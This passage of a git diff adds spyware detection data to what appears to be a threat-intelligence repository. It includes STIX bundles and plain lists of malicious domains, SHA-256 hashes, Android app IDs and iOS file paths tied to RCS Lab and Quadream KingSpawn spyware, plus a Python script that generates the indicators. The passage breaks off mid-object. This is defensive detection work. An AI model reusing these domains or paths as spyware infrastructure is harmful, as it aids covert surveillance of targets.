"2022-06-24T13:12:26.356627Z", + "relationship_type": "indicates", + "source_ref": "indicator--8061b446-98aa-4a24-be04-49acbc0a3c90", + "target_ref": "malware--7983fdbf-1766-4549-9d5b-a78fff3e44f0" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7f5f2d9d-3430-42db-9dd5-8fc2dacc06ba", + "created": "2022-06-24T13:12:26.356848Z", + "modified": "2022-06-24T13:12:26.356848Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='mobilepays.info']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2022-06-24T13:12:26.356848Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--64598bb4-f1b6-4c3e-a39a-d2c48aa5b05d", + "created": "2022-06-24T13:12:26.358088Z", + "modified": "2022-06-24T13:12:26.358088Z", + "relationship_type": "indicates", + "source_ref": "indicator--7f5f2d9d-3430-42db-9dd5-8fc2dacc06ba", + "target_ref": "malware--7983fdbf-1766-4549-9d5b-a78fff3e44f0" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--03dee9cd-b168-450a-919a-7e79b6c84a63", + "created": "2022-06-24T13:12:26.358312Z", + "modified": "2022-06-24T13:12:26.358312Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='my190.info']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2022-06-24T13:12:26.358312Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5af0f57f-9b7f-4a15-87fe-b9aed31286d2", + "created": "2022-06-24T13:12:26.358992Z", + "modified": "2022-06-24T13:12:26.358992Z", + "relationship_type": "indicates", + "source_ref": "indicator--03dee9cd-b168-450a-919a-7e79b6c84a63", + "target_ref": "malware--7983fdbf-1766-4549-9d5b-a78fff3e44f0" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c9f2bb6a-0dd0-4f74-ae0e-b2ed16dcf601", + "created": "2022-06-24T13:12:26.359217Z", + "modified": "2022-06-24T13:12:26.359217Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='poste-it.info']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2022-06-24T13:12:26.359217Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--dc6a2c67-1408-492d-a9a7-dda6be484f09", + "created": "2022-06-24T13:12:26.359902Z", + "modified": "2022-06-24T13:12:26.359902Z", + "relationship_type": "indicates", + "source_ref": "indicator--c9f2bb6a-0dd0-4f74-ae0e-b2ed16dcf601", + "target_ref": "malware--7983fdbf-1766-4549-9d5b-a78fff3e44f0" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7cb6e051-ef82-4a97-b469-81ec8aeee676", + "created": "2022-06-24T13:12:26.360119Z", + "modified": "2022-06-24T13:12:26.360119Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='project1-c094e.appspot.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2022-06-24T13:12:26.360119Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--47271d88-afac-417e-9420-4d03dcbf4c91", + "created": "2022-06-24T13:12:26.360764Z", + "modified": "2022-06-24T13:12:26.360764Z", + "relationship_type": "indicates", + "source_ref": "indicator--7cb6e051-ef82-4a97-b469-81ec8aeee676", + "target_ref": "malware--7983fdbf-1766-4549-9d5b-a78fff3e44f0" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3f972bc5-0465-40d7-9435-43bc0943a849", + "created": "2022-06-24T13:12:26.360981Z", + "modified": "2022-06-24T13:12:26.360981Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='rojavanetwork.info']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2022-06-24T13:12:26.360981Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--764d101c-e77e-413d-9472-903ae2b49bb4", + "created": "2022-06-24T13:12:26.36179Z", + "modified": "2022-06-24T13:12:26.36179Z", + "relationship_type": "indicates", + "source_ref": "indicator--3f972bc5-0465-40d7-9435-43bc0943a849", + "target_ref": "malware--7983fdbf-1766-4549-9d5b-a78fff3e44f0" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f8d4f1ae-856e-4d77-9019-d96ce0234133", + "created": "2022-06-24T13:12:26.362009Z", + "modified": "2022-06-24T13:12:26.362009Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='safekeyservice-972cd.appspot.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2022-06-24T13:12:26.362009Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8293f9ae-efc9-41c2-babb-47f53ae28da0", + "created": "2022-06-24T13:12:26.362831Z", + "modified": "2022-06-24T13:12:26.362831Z", + "relationship_type": "indicates", + "source_ref": "indicator--f8d4f1ae-856e-4d77-9019-d96ce0234133", + "target_ref": "malware--7983fdbf-1766-4549-9d5b-a78fff3e44f0" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9f94055e-37af-4f64-8143-0acdc305e246", + "created": "2022-06-24T13:12:26.363048Z", + "modified": "2022-06-24T13:12:26.363048Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='store-apple.info']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2022-06-24T13:12:26.363048Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--173b7391-2d03-4671-b186-3b3c995fc591", + "created": "2022-06-24T13:12:26.363666Z", + "modified": "2022-06-24T13:12:26.363666Z", + "relationship_type": "indicates", + "source_ref": "indicator--9f94055e-37af-4f64-8143-0acdc305e246", + "target_ref": "malware--7983fdbf-1766-4549-9d5b-a78fff3e44f0" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b61779d9-d458-4ee3-aec0-617240a7b6f8", + "created": "2022-06-24T13:12:26.363883Z", + "modified": "2022-06-24T13:12:26.363883Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='wind-h3g.info']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2022-06-24T13:12:26.363883Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--404cb59c-8579-4700-874c-df0de66a752c", + "created": "2022-06-24T13:12:26.364618Z", + "modified": "2022-06-24T13:12:26.364618Z", + "relationship_type": "indicates", + "source_ref": "indicator--b61779d9-d458-4ee3-aec0-617240a7b6f8", + "target_ref": "malware--7983fdbf-1766-4549-9d5b-a78fff3e44f0" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e45361fc-f23f-4964-9c52-126298268a37", + "created": "2022-06-24T13:12:26.364805Z", + "modified": "2022-06-24T13:12:26.364805Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[file:hashes.sha256='e38d7ba21a48ad32963bfe6cb0203afe0839eca9a73268a67422109da282eae3']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2022-06-24T13:12:26.364805Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f0c32e7b-2b2b-46aa-a908-fefdf4bf3845", + "created": "2022-06-24T13:12:26.367888Z", + "modified": "2022-06-24T13:12:26.367888Z", + "relationship_type": "indicates", + "source_ref": "indicator--e45361fc-f23f-4964-9c52-126298268a37", + "target_ref": "malware--7983fdbf-1766-4549-9d5b-a78fff3e44f0" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e61c0dde-1826-482e-831e-f7382ae5f6ba", + "created": "2022-06-24T13:12:26.368076Z", + "modified": "2022-06-24T13:12:26.368076Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[file:hashes.sha256='fe95855691cada4493641bc4f01eb00c670c002166d6591fe38073dd0ea1d001']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2022-06-24T13:12:26.368076Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c7d9f0ab-faf1-46f6-a912-6d4c21f2abad", + "created": "2022-06-24T13:12:26.368803Z", + "modified": "2022-06-24T13:12:26.368803Z", + "relationship_type": "indicates", + "source_ref": "indicator--e61c0dde-1826-482e-831e-f7382ae5f6ba", + "target_ref": "malware--7983fdbf-1766-4549-9d5b-a78fff3e44f0" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0d246a65-89b3-4eff-a3d7-95897e1ae977", + "created": "2022-06-24T13:12:26.368983Z", + "modified": "2022-06-24T13:12:26.368983Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[file:hashes.sha256='243ea96b2f8f70abc127c8bc1759929e3ad9efc1dec5b51f5788e9896b6d516e']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2022-06-24T13:12:26.368983Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--20c01422-bee6-4835-94be-709d5ad6c07e", + "created": "2022-06-24T13:12:26.369783Z", + "modified": "2022-06-24T13:12:26.369783Z", + "relationship_type": "indicates", + "source_ref": "indicator--0d246a65-89b3-4eff-a3d7-95897e1ae977", + "target_ref": "malware--7983fdbf-1766-4549-9d5b-a78fff3e44f0" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--304b0611-d914-4d68-bc3c-cd2807ed668e", + "created": "2022-06-24T13:12:26.369965Z", + "modified": "2022-06-24T13:12:26.369965Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[file:hashes.sha256='a98a224b644d3d88eed27aa05548a41e0178dba93ed9145250f61912e924b3e9']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2022-06-24T13:12:26.369965Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--65da7ae0-f343-4c65-9976-6cef7aabee0a", + "created": "2022-06-24T13:12:26.370688Z", + "modified": "2022-06-24T13:12:26.370688Z", + "relationship_type": "indicates", + "source_ref": "indicator--304b0611-d914-4d68-bc3c-cd2807ed668e", + "target_ref": "malware--7983fdbf-1766-4549-9d5b-a78fff3e44f0" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--03041d38-2e4d-410d-ae3f-39306840313f", + "created": "2022-06-24T13:12:26.37087Z", + "modified": "2022-06-24T13:12:26.37087Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[file:hashes.sha256='c26220c9177c146d6ce21e2f964de47b3dbbab85824e93908d66fa080e13286f']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2022-06-24T13:12:26.37087Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--734b230c-a3f3-457c-8ec6-27c49869aff4", + "created": "2022-06-24T13:12:26.371603Z", + "modified": "2022-06-24T13:12:26.371603Z", + "relationship_type": "indicates", + "source_ref": "indicator--03041d38-2e4d-410d-ae3f-39306840313f", + "target_ref": "malware--7983fdbf-1766-4549-9d5b-a78fff3e44f0" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--98f7c1b0-629c-447a-abb3-9c99c78ef69d", + "created": "2022-06-24T13:12:26.371788Z", + "modified": "2022-06-24T13:12:26.371788Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[file:hashes.sha256='0759a60e09710321dfc42b09518516398785f60e150012d15be88bbb2ea788db']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2022-06-24T13:12:26.371788Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--eadab579-17b1-4cb3-a161-69d63f447030", + "created": "2022-06-24T13:12:26.372585Z", + "modified": "2022-06-24T13:12:26.372585Z", + "relationship_type": "indicates", + "source_ref": "indicator--98f7c1b0-629c-447a-abb3-9c99c78ef69d", + "target_ref": "malware--7983fdbf-1766-4549-9d5b-a78fff3e44f0" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--945c8790-e28d-4e3f-87bf-bf69b74a6331", + "created": "2022-06-24T13:12:26.372769Z", + "modified": "2022-06-24T13:12:26.372769Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[file:hashes.sha256='8ef40f13c6192bd8defa7ac0b54ce2454e71b55867bdafc51ecb714d02abfd1a']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2022-06-24T13:12:26.372769Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e15ba27f-ea46-4803-b1e1-e4756503530d", + "created": "2022-06-24T13:12:26.373569Z", + "modified": "2022-06-24T13:12:26.373569Z", + "relationship_type": "indicates", + "source_ref": "indicator--945c8790-e28d-4e3f-87bf-bf69b74a6331", + "target_ref": "malware--7983fdbf-1766-4549-9d5b-a78fff3e44f0" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--57bc1215-e991-4831-9a75-fc19c5840cf4", + "created": "2022-06-24T13:12:26.373751Z", + "modified": "2022-06-24T13:12:26.373751Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[file:hashes.sha256='9146e0ede1c0e9014341ef0859ca62d230bea5d6535d800591a796e8dfe1dff9']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2022-06-24T13:12:26.373751Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a4fd3ba7-d574-44b3-b2c3-1499b1c9cf40", + "created": "2022-06-24T13:12:26.374665Z", + "modified": "2022-06-24T13:12:26.374665Z", + "relationship_type": "indicates", + "source_ref": "indicator--57bc1215-e991-4831-9a75-fc19c5840cf4", + "target_ref": "malware--7983fdbf-1766-4549-9d5b-a78fff3e44f0" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c6335115-b47a-4212-bda2-3d3ac12b18ee", + "created": "2022-06-24T13:12:26.374849Z", + "modified": "2022-06-24T13:12:26.374849Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[file:hashes.sha256='6eeb683ee4674fd5553fdc2ca32d77ee733de0e654c6f230f881abf5752696ba']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2022-06-24T13:12:26.374849Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ff242d23-bab1-4faa-b668-1ae72fa969a1", + "created": "2022-06-24T13:12:26.375662Z", + "modified": "2022-06-24T13:12:26.375662Z", + "relationship_type": "indicates", + "source_ref": "indicator--c6335115-b47a-4212-bda2-3d3ac12b18ee", + "target_ref": "malware--7983fdbf-1766-4549-9d5b-a78fff3e44f0" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--dfedbd26-0d3e-4e66-b428-9990c435c31a", + "created": "2022-06-24T13:12:26.37586Z", + "modified": "2022-06-24T13:12:26.37586Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[app:id='com.androidservices.support']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2022-06-24T13:12:26.37586Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d2ad1b53-111e-4bf1-bd97-34cd17dec9ff", + "created": "2022-06-24T13:12:26.37681Z", + "modified": "2022-06-24T13:12:26.37681Z", + "relationship_type": "indicates", + "source_ref": "indicator--dfedbd26-0d3e-4e66-b428-9990c435c31a", + "target_ref": "malware--7983fdbf-1766-4549-9d5b-a78fff3e44f0" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2b781c83-df99-4875-aa6e-8e6bee322e0e", + "created": "2022-06-24T13:12:26.376992Z", + "modified": "2022-06-24T13:12:26.376992Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[app:id='com.vodaservices']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2022-06-24T13:12:26.376992Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e066f24b-4ba4-4797-b807-6e0522311c03", + "created": "2022-06-24T13:12:26.377573Z", + "modified": "2022-06-24T13:12:26.377573Z", + "relationship_type": "indicates", + "source_ref": "indicator--2b781c83-df99-4875-aa6e-8e6bee322e0e", + "target_ref": "malware--7983fdbf-1766-4549-9d5b-a78fff3e44f0" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f51f2f24-f14a-4e86-adca-28ef6aa2f66f", + "created": "2022-06-24T13:12:26.377748Z", + "modified": "2022-06-24T13:12:26.377748Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[app:id='com.fintur.support']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2022-06-24T13:12:26.377748Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d50eca5a-0e18-4000-acb1-7869f1b8a1cc", + "created": "2022-06-24T13:12:26.378323Z", + "modified": "2022-06-24T13:12:26.378323Z", + "relationship_type": "indicates", + "source_ref": "indicator--f51f2f24-f14a-4e86-adca-28ef6aa2f66f", + "target_ref": "malware--7983fdbf-1766-4549-9d5b-a78fff3e44f0" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--786a496f-a543-4505-b1c6-d06b563424cd", + "created": "2022-06-24T13:12:26.378497Z", + "modified": "2022-06-24T13:12:26.378497Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[app:id='com.xdja.safekeyservice']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2022-06-24T13:12:26.378497Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b28150db-88ac-465b-ad89-43145e327247", + "created": "2022-06-24T13:12:26.379086Z", + "modified": "2022-06-24T13:12:26.379086Z", + "relationship_type": "indicates", + "source_ref": "indicator--786a496f-a543-4505-b1c6-d06b563424cd", + "target_ref": "malware--7983fdbf-1766-4549-9d5b-a78fff3e44f0" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--bbbed2fa-aa2d-405b-9bb2-a1dd7fc43da2", + "created": "2022-06-24T13:12:26.379267Z", + "modified": "2022-06-24T13:12:26.379267Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[app:id='com.xdja.jxclient']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2022-06-24T13:12:26.379267Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b8f9eb1a-55ee-4c17-8dc7-a631e6d42f64", + "created": "2022-06-24T13:12:26.379843Z", + "modified": "2022-06-24T13:12:26.379843Z", + "relationship_type": "indicates", + "source_ref": "indicator--bbbed2fa-aa2d-405b-9bb2-a1dd7fc43da2", + "target_ref": "malware--7983fdbf-1766-4549-9d5b-a78fff3e44f0" + } + ] +} \ No newline at end of file diff --git a/data/ioc/spyware/mvt/2022-06-23_rcs_lab/sha256.txt b/data/ioc/spyware/mvt/2022-06-23_rcs_lab/sha256.txt new file mode 100644 index 0000000..6b186f5 --- /dev/null +++ b/data/ioc/spyware/mvt/2022-06-23_rcs_lab/sha256.txt @@ -0,0 +1,9 @@ +e38d7ba21a48ad32963bfe6cb0203afe0839eca9a73268a67422109da282eae3 +fe95855691cada4493641bc4f01eb00c670c002166d6591fe38073dd0ea1d001 +243ea96b2f8f70abc127c8bc1759929e3ad9efc1dec5b51f5788e9896b6d516e +a98a224b644d3d88eed27aa05548a41e0178dba93ed9145250f61912e924b3e9 +c26220c9177c146d6ce21e2f964de47b3dbbab85824e93908d66fa080e13286f +0759a60e09710321dfc42b09518516398785f60e150012d15be88bbb2ea788db +8ef40f13c6192bd8defa7ac0b54ce2454e71b55867bdafc51ecb714d02abfd1a +9146e0ede1c0e9014341ef0859ca62d230bea5d6535d800591a796e8dfe1dff9 +6eeb683ee4674fd5553fdc2ca32d77ee733de0e654c6f230f881abf5752696ba diff --git a/data/ioc/spyware/mvt/2023-04-11_quadream/README.md b/data/ioc/spyware/mvt/2023-04-11_quadream/README.md new file mode 100644 index 0000000..8852e61 --- /dev/null +++ b/data/ioc/spyware/mvt/2023-04-11_quadream/README.md @@ -0,0 +1,3 @@ +# Quadream KingSpawn indicators + +Quadream indicators from [Citizen Lab](https://citizenlab.ca/2023/04/spyware-vendor-quadream-exploits-victims-customers/) and [Microsoft](https://www.microsoft.com/en-us/security/blog/2023/04/11/dev-0196-quadreams-kingspawn-malware-used-to-target-civil-society-in-europe-north-america-the-middle-east-and-southeast-asia/) reports. diff --git a/data/ioc/spyware/mvt/2023-04-11_quadream/domains.txt b/data/ioc/spyware/mvt/2023-04-11_quadream/domains.txt new file mode 100644 index 0000000..3babe75 --- /dev/null +++ b/data/ioc/spyware/mvt/2023-04-11_quadream/domains.txt @@ -0,0 +1,164 @@ +addictmetui.com +adeptary.com +agronomsdoc.com +allplaces.online +aniarchit.com +aqualizas.com +bcarental.com +beendos.com +bestteamlife.com +betterstime.com +bgnews-bg.com +bikersrental.com +biznomex.com +brushyourteeth.online +careerhub4u.com +careers4ad.com +choccoline.com +classiccolor.live +cleanitgo.info +climatestews.com +codinerom.com +codingstudies.com +comeandpet.me +countshops.com +ctbgameson.com +datacentertime.com +deliverystorz.com +designaroo.org +designspacing.org +digital-mar.com +dressuse.com +dsudro.com +earthyouwantiis.com +eccocredit.com +ecologitics.com +eedloversra.online +e-gaming.online +elektrozi.com +elvacream.com +enrollering.com +foodyplates.com +forestaaa.com +fosterunch.com +foundurycolletive.com +fullaniimal.com +fullmoongreyparty.org +fullstorelife.com +furiamoc.com +gameboysess.com +gameizes.com +gamezess.com +gamingcolonys.com +gardenearthis.com +garilc.com +globepayinfo.com +goodsforuw.com +goshopeerz.com +gosport24.com +greenrunners.org +healthcovid19.com +hinterfy.com +homeigardens.com +homelosite.com +hopsite.online +hotalsextra.com +hoteliqo.com +hoteluxurysm.com +incollegely.org +inneture.com +i-reality.online +iwoodstor.xyz +job4uhunt.com +jungelfruitime.com +jyfa.xyz +kidsfunland.org +kidzalnd.org +kidzlande.com +kikocruize.com +koraliowe.com +lateparties.com +linestrip.online +localtallk.store +londonistory.com +luxario.org +meehealth.org +mikontravels.com +monvesting.com +motorgamings.com +mwww.ro +naturemeter.org +navadatime.com +newsandlocalupdates.com +newsbuiltin.online +newslocalupdates.com +newz-globe.com +noraplant.com +nordmanetime.com +novinite.biz +nutureheus.com +pachadesert.com +pennywines.com +planetosgame.com +planningly.org +playozas.com +powercodings.com +projectoid.org +razzodev.com +recover-your-body.xyz +recovery-plan.org +redanddred.com +reloadyourbrowser.info +rentalproct.com +retailmark.net +runningandbeyond.org +setclass.live +sevensdfe.com +shoeszise.xyz +shoplifys.com +shoppingeos.com +sidelot.org +skyphotogreen.com +space-moon.com +sseamb.com +stayle.co +stockstiming.org +studiesutshifts.com +studyreaserch.com +study-search.com +studyshifts.com +studysliii.com +styleanature.com +stylelifees.com +subcloud.online +sunclub.site +sunnyweek.site +sunsandlights.com +takebreak.io +takestox.com +teachlearning.org +techpowerlight.com +thegreenlight.xyz +thenewsfill.com +thepila.com +thetimespress.com +timeeforsports.com +tokenberries.com +topuprr.com +transformaition.com +treerroots.com +unitedyears.com +vinoneros.com +wellnessjane.org +whiteandpiink.com +white-rhino.online +wikipedoptions.com +wilddog.site +wildhour.store +wombatcash.com +womnbling.com +youristores.com +zebra-arts.com +zedforme.com +zeebefg.com +zooloow.com diff --git a/data/ioc/spyware/mvt/2023-04-11_quadream/file_paths.txt b/data/ioc/spyware/mvt/2023-04-11_quadream/file_paths.txt new file mode 100644 index 0000000..f5b3246 --- /dev/null +++ b/data/ioc/spyware/mvt/2023-04-11_quadream/file_paths.txt @@ -0,0 +1,2 @@ +/private/var/db/com.apple.xpc.roleaccountd.staging/subridged +/private/var/db/com.apple.xpc.roleaccountd.staging/PlugIns/fud.appex/ diff --git a/data/ioc/spyware/mvt/2023-04-11_quadream/generate_stix.py b/data/ioc/spyware/mvt/2023-04-11_quadream/generate_stix.py new file mode 100644 index 0000000..148ef2a --- /dev/null +++ b/data/ioc/spyware/mvt/2023-04-11_quadream/generate_stix.py @@ -0,0 +1,40 @@ +import sys +import os +from stix2.v21 import (Indicator, Malware, Relationship, Bundle, DomainName) + + +if __name__ == "__main__": + if os.path.isfile("kingspawn.stix2"): + os.remove("kingspawn.stix2") + + with open("domains.txt") as f: + domains = list(set([a.strip() for a in f.read().split()])) + + with open("file_paths.txt") as f: + filepaths = list(set([a.strip() for a in f.read().split()])) + + with open("processes.txt") as f: + processes = list(set([a.strip() for a in f.read().split()])) + + res = [] + malware = Malware(name="KingSpawn", is_family=False, description="IOCs related to Quadream KingsPawn or Reign spyware") + res.append(malware) + for d in domains: + i = Indicator(indicator_types=["malicious-activity"], pattern="[domain-name:value='{}']".format(d), pattern_type="stix") + res.append(i) + res.append(Relationship(i, 'indicates', malware)) + + for f in filepaths: + i = Indicator(indicator_types=["malicious-activity"], pattern="[file:path='{}']".format(f), pattern_type="stix") + res.append(i) + res.append(Relationship(i, 'indicates', malware)) + + for p in processes: + i = Indicator(indicator_types=["malicious-activity"], pattern="[process:name='{}']".format(p), pattern_type="stix") + res.append(i) + res.append(Relationship(i, 'indicates', malware)) + + bundle = Bundle(objects=res) + with open("kingspawn.stix2", "w+") as f: + f.write(bundle.serialize(indent=4)) + print("kingspawn.stix2 file created") diff --git a/data/ioc/spyware/mvt/2023-04-11_quadream/kingspawn.stix2 b/data/ioc/spyware/mvt/2023-04-11_quadream/kingspawn.stix2 new file mode 100644 index 0000000..611642c --- /dev/null +++ b/data/ioc/spyware/mvt/2023-04-11_quadream/kingspawn.stix2 @@ -0,0 +1,4024 @@ +{ + "type": "bundle", + "id": "bundle--3d0ed889-8904-49fd-9a04-174707975dd8", + "objects": [ + { + "type": "malware", + "spec_version": "2.1", + "id": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df", + "created": "2023-04-11T17:02:46.059796Z", + "modified": "2023-04-11T17:02:46.059796Z", + "name": "KingSpawn", + "description": "IOCs related to Quadream KingsPawn or Reign spyware", + "is_family": false + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--36072c71-c967-4698-810e-15649388169c", + "created": "2023-04-11T17:02:46.060038Z", + "modified": "2023-04-11T17:02:46.060038Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='wikipedoptions.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.060038Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8cd2eb71-c6a5-43cc-90b0-cc3b29e15dc9", + "created": "2023-04-11T17:02:46.066922Z", + "modified": "2023-04-11T17:02:46.066922Z", + "relationship_type": "indicates", + "source_ref": "indicator--36072c71-c967-4698-810e-15649388169c", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0c4e409f-3d70-4799-bff3-cf8e3f3e536d", + "created": "2023-04-11T17:02:46.067512Z", + "modified": "2023-04-11T17:02:46.067512Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='shoppingeos.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.067512Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a8b28de6-82d2-4703-b12b-c59df13ef5ac", + "created": "2023-04-11T17:02:46.068431Z", + "modified": "2023-04-11T17:02:46.068431Z", + "relationship_type": "indicates", + "source_ref": "indicator--0c4e409f-3d70-4799-bff3-cf8e3f3e536d", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e3d05714-2685-4753-8793-cdb807ffd62d", + "created": "2023-04-11T17:02:46.068617Z", + "modified": "2023-04-11T17:02:46.068617Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='newsbuiltin.online']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.068617Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8eb31d2c-27c9-4226-afd9-1f411c59a587", + "created": "2023-04-11T17:02:46.069606Z", + "modified": "2023-04-11T17:02:46.069606Z", + "relationship_type": "indicates", + "source_ref": "indicator--e3d05714-2685-4753-8793-cdb807ffd62d", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e661dcc3-779b-4151-a265-67cda5efdb1a", + "created": "2023-04-11T17:02:46.06979Z", + "modified": "2023-04-11T17:02:46.06979Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='takestox.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.06979Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7c9356ce-7cd8-43ef-aea3-816cb61c10ea", + "created": "2023-04-11T17:02:46.070639Z", + "modified": "2023-04-11T17:02:46.070639Z", + "relationship_type": "indicates", + "source_ref": "indicator--e661dcc3-779b-4151-a265-67cda5efdb1a", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--28e57b07-9fb3-4368-92f8-cd096d30998c", + "created": "2023-04-11T17:02:46.07083Z", + "modified": "2023-04-11T17:02:46.07083Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='studiesutshifts.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.07083Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--60b1c8fc-df3b-4f3b-b003-d9d58d6542e9", + "created": "2023-04-11T17:02:46.071618Z", + "modified": "2023-04-11T17:02:46.071618Z", + "relationship_type": "indicates", + 